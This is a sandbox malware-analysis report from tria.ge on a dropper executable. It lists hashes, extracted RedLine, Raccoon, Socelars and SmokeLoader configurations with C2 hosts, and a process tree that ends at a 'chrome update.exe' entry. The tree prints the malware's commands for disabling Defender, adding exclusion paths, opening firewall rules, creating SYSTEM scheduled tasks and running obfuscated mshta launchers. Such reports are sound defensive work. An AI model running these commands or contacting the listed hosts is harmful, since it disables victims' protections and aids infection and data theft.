Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

10/11/2021, 14:50

211110-r7nbvaeddr 10

08/11/2021, 16:12

211108-tnmmbahgaj 10

08/11/2021, 15:26

211108-svdsbaccf6 10

08/11/2021, 14:48

211108-r6lfvshdfn 10

Analysis

  • max time kernel
    32s
  • max time network
    180s
  • platform
    windows10_x64
  • resource
    win10-en-20211104
  • submitted
    08/11/2021, 14:48

General

  • Target

    a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe

  • Size

    4.4MB

  • MD5

    bfc2137972c74edea0f9791b94486e9b

  • SHA1

    fd72e52406ce3f2ae5cfdb5dd8c7243f3ce31eb3

  • SHA256

    a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4

  • SHA512

    9fcd3756f9888e2000b94caf0d803087497b87428c0bd641901d2e416411bc698d9ca3a7a00d3cd711b681f3c8b8921f2a478f0ec1f975bc36fde5cf16741e75

Malware Config

Extracted

Family

socelars

C2

http://www.iyiqian.com/

http://www.hbgents.top/

http://www.rsnzhy.com/

http://www.efxety.top/

Extracted

Family

redline

Botnet

Chris

C2

194.104.136.5:46013

Extracted

Family

redline

Botnet

media18

C2

91.121.67.60:2151

Extracted

Family

redline

Botnet

fucker2

C2

135.181.129.119:4805

Extracted

Family

raccoon

Botnet

2f2ad1a1aa093c5a9d17040c8efd5650a99640b5

Attributes
  • url4cnc

    http://telegatt.top/oh12manymarty

    http://telegka.top/oh12manymarty

    http://telegin.top/oh12manymarty

    https://t.me/oh12manymarty

rc4.plain
rc4.plain

Extracted

Family

smokeloader

Version

2020

C2

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32
rc4.i32

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 6 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 2 IoCs
  • suricata: ET MALWARE GCleaner Downloader Activity M5

    suricata: ET MALWARE GCleaner Downloader Activity M5

  • suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

    suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

  • suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

    suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

  • suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

    suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 16 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Loads dropped DLL 7 IoCs
  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 8 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 5 IoCs
  • Creates scheduled task(s) 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 2 IoCs
  • Kills process with taskkill 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
    "C:\Users\Admin\AppData\Local\Temp\a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4056
    • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
      "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1184
      • C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\setup_install.exe
        "C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\setup_install.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1516
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2664
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
            5⤵
              PID:376
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1104
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
              5⤵
                PID:2556
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Tue200ab8d408d.exe
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1068
              • C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue200ab8d408d.exe
                Tue200ab8d408d.exe
                5⤵
                • Executes dropped EXE
                PID:1984
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Tue201d50e7015.exe
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3968
              • C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue201d50e7015.exe
                Tue201d50e7015.exe
                5⤵
                • Executes dropped EXE
                PID:1604
                • C:\Users\Admin\AppData\Local\Temp\is-DJUJO.tmp\Tue201d50e7015.tmp
                  "C:\Users\Admin\AppData\Local\Temp\is-DJUJO.tmp\Tue201d50e7015.tmp" /SL5="$701DA,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue201d50e7015.exe"
                  6⤵
                  • Executes dropped EXE
                  PID:3596
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Tue2082eedf21.exe /mixone
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:764
              • C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue2082eedf21.exe
                Tue2082eedf21.exe /mixone
                5⤵
                • Executes dropped EXE
                PID:4028
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c taskkill /im "Tue2082eedf21.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue2082eedf21.exe" & exit
                  6⤵
                    PID:1728
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /im "Tue2082eedf21.exe" /f
                      7⤵
                      • Kills process with taskkill
                      PID:5776
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Tue207c76c7f37.exe
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:3196
                • C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue207c76c7f37.exe
                  Tue207c76c7f37.exe
                  5⤵
                  • Executes dropped EXE
                  PID:2160
                  • C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue207c76c7f37.exe
                    C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue207c76c7f37.exe
                    6⤵
                      PID:4308
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c Tue20adee3c26d.exe
                  4⤵
                    PID:3476
                    • C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue20adee3c26d.exe
                      Tue20adee3c26d.exe
                      5⤵
                      • Executes dropped EXE
                      PID:3616
                      • C:\Windows\SysWOW64\mshta.exe
                        "C:\Windows\System32\mshta.exe" vBScRiPt: cLOsE(CREaTeOBject ( "WSCRipt.sHEll" ). Run ( "CMd /r tYpE ""C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue20adee3c26d.exe"" > ..\_4SO.EXE && sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs & If """"== """" for %Y In ( ""C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue20adee3c26d.exe"" ) do taskkill /IM ""%~nXY"" -f" , 0, tRUE ) )
                        6⤵
                          PID:2564
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c Tue2076b72c2666aa9c.exe
                      4⤵
                        PID:1196
                        • C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue2076b72c2666aa9c.exe
                          Tue2076b72c2666aa9c.exe
                          5⤵
                          • Executes dropped EXE
                          PID:3788
                          • C:\Users\Admin\Pictures\Adobe Films\i8zXIgoRg_GIPCXUQGO02Ffb.exe
                            "C:\Users\Admin\Pictures\Adobe Films\i8zXIgoRg_GIPCXUQGO02Ffb.exe"
                            6⤵
                              PID:5980
                            • C:\Users\Admin\Pictures\Adobe Films\JsKy7lZ_NgzONbfX003chYeY.exe
                              "C:\Users\Admin\Pictures\Adobe Films\JsKy7lZ_NgzONbfX003chYeY.exe"
                              6⤵
                                PID:5636
                                • C:\Windows\SysWOW64\schtasks.exe
                                  schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
                                  7⤵
                                  • Creates scheduled task(s)
                                  PID:8100
                                • C:\Windows\SysWOW64\schtasks.exe
                                  schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                                  7⤵
                                  • Creates scheduled task(s)
                                  PID:8092
                                • C:\Users\Admin\Documents\b4fJYs_nOsF98xwtFBNnUvPI.exe
                                  "C:\Users\Admin\Documents\b4fJYs_nOsF98xwtFBNnUvPI.exe"
                                  7⤵
                                    PID:8084
                                • C:\Users\Admin\Pictures\Adobe Films\Qt2PiA_huG9WC0UHDkTkDPBg.exe
                                  "C:\Users\Admin\Pictures\Adobe Films\Qt2PiA_huG9WC0UHDkTkDPBg.exe"
                                  6⤵
                                    PID:5568
                                    • C:\Program Files (x86)\Company\NewProduct\cutm3.exe
                                      "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
                                      7⤵
                                        PID:680
                                    • C:\Users\Admin\Pictures\Adobe Films\iCOloTIUloN8rnZ3nS7xZX_p.exe
                                      "C:\Users\Admin\Pictures\Adobe Films\iCOloTIUloN8rnZ3nS7xZX_p.exe"
                                      6⤵
                                        PID:5672
                                      • C:\Users\Admin\Pictures\Adobe Films\SBZkIyw_p3azYEi_uKiL7XRR.exe
                                        "C:\Users\Admin\Pictures\Adobe Films\SBZkIyw_p3azYEi_uKiL7XRR.exe"
                                        6⤵
                                          PID:5768
                                        • C:\Users\Admin\Pictures\Adobe Films\WN0APGiw8DJ0GJPP55HWRlr_.exe
                                          "C:\Users\Admin\Pictures\Adobe Films\WN0APGiw8DJ0GJPP55HWRlr_.exe"
                                          6⤵
                                            PID:5848
                                          • C:\Users\Admin\Pictures\Adobe Films\lyc_XYDVbod0jmN_FN8N6sOi.exe
                                            "C:\Users\Admin\Pictures\Adobe Films\lyc_XYDVbod0jmN_FN8N6sOi.exe"
                                            6⤵
                                              PID:2872
                                            • C:\Users\Admin\Pictures\Adobe Films\O_Pte17TtlWbrmuZH9G2kgY7.exe
                                              "C:\Users\Admin\Pictures\Adobe Films\O_Pte17TtlWbrmuZH9G2kgY7.exe"
                                              6⤵
                                                PID:652
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
                                                  7⤵
                                                    PID:4132
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
                                                    7⤵
                                                      PID:1348
                                                    • C:\Windows\System32\netsh.exe
                                                      "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                      7⤵
                                                        PID:6004
                                                      • C:\Windows\SYSTEM32\schtasks.exe
                                                        schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
                                                        7⤵
                                                        • Creates scheduled task(s)
                                                        PID:4380
                                                      • C:\Windows\System32\netsh.exe
                                                        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                        7⤵
                                                          PID:4272
                                                        • C:\Windows\System\svchost.exe
                                                          "C:\Windows\System\svchost.exe" formal
                                                          7⤵
                                                            PID:4552
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
                                                              8⤵
                                                                PID:5400
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
                                                                8⤵
                                                                  PID:5296
                                                                • C:\Windows\System32\netsh.exe
                                                                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                  8⤵
                                                                    PID:1772
                                                                  • C:\Windows\System32\netsh.exe
                                                                    "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                    8⤵
                                                                      PID:3688
                                                                • C:\Users\Admin\Pictures\Adobe Films\9KXr4ff8_MNHF4bn24Ma3Ezf.exe
                                                                  "C:\Users\Admin\Pictures\Adobe Films\9KXr4ff8_MNHF4bn24Ma3Ezf.exe"
                                                                  6⤵
                                                                    PID:5960
                                                                  • C:\Users\Admin\Pictures\Adobe Films\0A5p5QdHbsJGObyelmnONl4s.exe
                                                                    "C:\Users\Admin\Pictures\Adobe Films\0A5p5QdHbsJGObyelmnONl4s.exe"
                                                                    6⤵
                                                                      PID:5836
                                                                    • C:\Users\Admin\Pictures\Adobe Films\8FT82C00M8IKbgQKixFjB8aQ.exe
                                                                      "C:\Users\Admin\Pictures\Adobe Films\8FT82C00M8IKbgQKixFjB8aQ.exe"
                                                                      6⤵
                                                                        PID:4680
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\8FT82C00M8IKbgQKixFjB8aQ.exe" & exit
                                                                          7⤵
                                                                            PID:7432
                                                                            • C:\Windows\SysWOW64\timeout.exe
                                                                              timeout /t 5
                                                                              8⤵
                                                                              • Delays execution with timeout.exe
                                                                              PID:7880
                                                                        • C:\Users\Admin\Pictures\Adobe Films\EiSNNqZiPWMn4C4XSNv3NkuF.exe
                                                                          "C:\Users\Admin\Pictures\Adobe Films\EiSNNqZiPWMn4C4XSNv3NkuF.exe"
                                                                          6⤵
                                                                            PID:5816
                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 5816 -s 312
                                                                              7⤵
                                                                              • Program crash
                                                                              PID:4888
                                                                          • C:\Users\Admin\Pictures\Adobe Films\ehPs93YVSN7CYKFIZP6D3hpN.exe
                                                                            "C:\Users\Admin\Pictures\Adobe Films\ehPs93YVSN7CYKFIZP6D3hpN.exe"
                                                                            6⤵
                                                                              PID:600
                                                                            • C:\Users\Admin\Pictures\Adobe Films\gWuVWpLPOMCUSpE4BnmqJfzr.exe
                                                                              "C:\Users\Admin\Pictures\Adobe Films\gWuVWpLPOMCUSpE4BnmqJfzr.exe"
                                                                              6⤵
                                                                                PID:2084
                                                                              • C:\Users\Admin\Pictures\Adobe Films\VwFz9ThxiW9zgRi2YJ6qzXrd.exe
                                                                                "C:\Users\Admin\Pictures\Adobe Films\VwFz9ThxiW9zgRi2YJ6qzXrd.exe"
                                                                                6⤵
                                                                                  PID:4676
                                                                                • C:\Users\Admin\Pictures\Adobe Films\uoDQ7kV1gNPG375Wj1kmK66b.exe
                                                                                  "C:\Users\Admin\Pictures\Adobe Films\uoDQ7kV1gNPG375Wj1kmK66b.exe"
                                                                                  6⤵
                                                                                    PID:2368
                                                                                    • C:\Users\Admin\Pictures\Adobe Films\uoDQ7kV1gNPG375Wj1kmK66b.exe
                                                                                      "C:\Users\Admin\Pictures\Adobe Films\uoDQ7kV1gNPG375Wj1kmK66b.exe"
                                                                                      7⤵
                                                                                        PID:6312
                                                                                    • C:\Users\Admin\Pictures\Adobe Films\jsj_VajE1GILoi69xlPQ1H9i.exe
                                                                                      "C:\Users\Admin\Pictures\Adobe Films\jsj_VajE1GILoi69xlPQ1H9i.exe"
                                                                                      6⤵
                                                                                        PID:6128
                                                                                        • C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
                                                                                          C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
                                                                                          7⤵
                                                                                            PID:5824
                                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                                                                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                                                                                              8⤵
                                                                                                PID:4420
                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 5824 -s 552
                                                                                                8⤵
                                                                                                • Program crash
                                                                                                PID:5188
                                                                                            • C:\Users\Admin\AppData\Roaming\Underdress.exe
                                                                                              C:\Users\Admin\AppData\Roaming\Underdress.exe
                                                                                              7⤵
                                                                                                PID:4620
                                                                                                • C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"
                                                                                                  8⤵
                                                                                                    PID:4904
                                                                                              • C:\Users\Admin\Pictures\Adobe Films\nRKfsDIcRxofBnbYKnGSkR4l.exe
                                                                                                "C:\Users\Admin\Pictures\Adobe Films\nRKfsDIcRxofBnbYKnGSkR4l.exe"
                                                                                                6⤵
                                                                                                  PID:6052
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    cmd.exe /c taskkill /f /im chrome.exe
                                                                                                    7⤵
                                                                                                      PID:4696
                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                        taskkill /f /im chrome.exe
                                                                                                        8⤵
                                                                                                        • Kills process with taskkill
                                                                                                        PID:6868
                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\EgJDRQT4QqB02au_V1Faq_tP.exe
                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\EgJDRQT4QqB02au_V1Faq_tP.exe"
                                                                                                    6⤵
                                                                                                      PID:4476
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\EgJDRQT4QqB02au_V1Faq_tP.exe" & exit
                                                                                                        7⤵
                                                                                                          PID:7924
                                                                                                          • C:\Windows\SysWOW64\timeout.exe
                                                                                                            timeout /t 5
                                                                                                            8⤵
                                                                                                            • Delays execution with timeout.exe
                                                                                                            PID:5968
                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\wbDE2BWmUJUFkrjZTIDUfo4D.exe
                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\wbDE2BWmUJUFkrjZTIDUfo4D.exe"
                                                                                                        6⤵
                                                                                                          PID:4292
                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\Q6thxnxvRLvhVXnSFL7Nno02.exe
                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\Q6thxnxvRLvhVXnSFL7Nno02.exe"
                                                                                                          6⤵
                                                                                                            PID:4264
                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\Q6thxnxvRLvhVXnSFL7Nno02.exe
                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\Q6thxnxvRLvhVXnSFL7Nno02.exe"
                                                                                                              7⤵
                                                                                                                PID:5192
                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\ld6FGcpdPQkRK3wvXkhYjGRJ.exe
                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\ld6FGcpdPQkRK3wvXkhYjGRJ.exe"
                                                                                                              6⤵
                                                                                                                PID:1568
                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1568 -s 400
                                                                                                                  7⤵
                                                                                                                  • Program crash
                                                                                                                  PID:928
                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\kQ9_fhWeP7e9lj5i9KygdnXV.exe
                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\kQ9_fhWeP7e9lj5i9KygdnXV.exe"
                                                                                                                6⤵
                                                                                                                  PID:5976
                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\KCH9Z7bYk8XXGbaVoAiA4aSq.exe
                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\KCH9Z7bYk8XXGbaVoAiA4aSq.exe"
                                                                                                                  6⤵
                                                                                                                    PID:652
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
                                                                                                                      7⤵
                                                                                                                        PID:2696
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe
                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"
                                                                                                                        7⤵
                                                                                                                          PID:1204
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"
                                                                                                                          7⤵
                                                                                                                            PID:4916
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe
                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"
                                                                                                                            7⤵
                                                                                                                              PID:4852
                                                                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                                                                                8⤵
                                                                                                                                  PID:6460
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"
                                                                                                                                    9⤵
                                                                                                                                      PID:6744
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
                                                                                                                                        ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
                                                                                                                                        10⤵
                                                                                                                                          PID:856
                                                                                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                            "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                                                                                            11⤵
                                                                                                                                              PID:6648
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "/PLQtzfgO0m8dRv4iYALOqi " == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
                                                                                                                                                12⤵
                                                                                                                                                  PID:7016
                                                                                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                              taskkill -f -iM "search_hyperfs_206.exe"
                                                                                                                                              10⤵
                                                                                                                                              • Kills process with taskkill
                                                                                                                                              PID:1060
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                                                                                                                        7⤵
                                                                                                                                          PID:5240
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-AF8L4.tmp\setup.tmp
                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-AF8L4.tmp\setup.tmp" /SL5="$103AC,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                                                                                                                            8⤵
                                                                                                                                              PID:6148
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
                                                                                                                                                9⤵
                                                                                                                                                  PID:6668
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-QT82C.tmp\setup.tmp
                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-QT82C.tmp\setup.tmp" /SL5="$303C0,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
                                                                                                                                                    10⤵
                                                                                                                                                      PID:6804
                                                                                                                                                      • C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe
                                                                                                                                                        "C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart
                                                                                                                                                        11⤵
                                                                                                                                                          PID:7648
                                                                                                                                                          • C:\0fa7e15eda4992a50698503b466aadd6\Setup.exe
                                                                                                                                                            C:\0fa7e15eda4992a50698503b466aadd6\\Setup.exe /q /norestart /x86 /x64 /web
                                                                                                                                                            12⤵
                                                                                                                                                              PID:7888
                                                                                                                                                          • C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe
                                                                                                                                                            "C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss1
                                                                                                                                                            11⤵
                                                                                                                                                              PID:7640
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-7835P.tmp\postback.exe
                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-7835P.tmp\postback.exe" ss1
                                                                                                                                                              11⤵
                                                                                                                                                                PID:7632
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\inst1.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
                                                                                                                                                        7⤵
                                                                                                                                                          PID:1728
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\askinstall25.exe
                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"
                                                                                                                                                          7⤵
                                                                                                                                                            PID:6188
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                                                                                                                                                            7⤵
                                                                                                                                                              PID:6264
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
                                                                                                                                                              7⤵
                                                                                                                                                                PID:6344
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\chrome1.exe
                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\chrome1.exe"
                                                                                                                                                                7⤵
                                                                                                                                                                  PID:6408
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\chrome update.exe
                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\chrome update.exe"
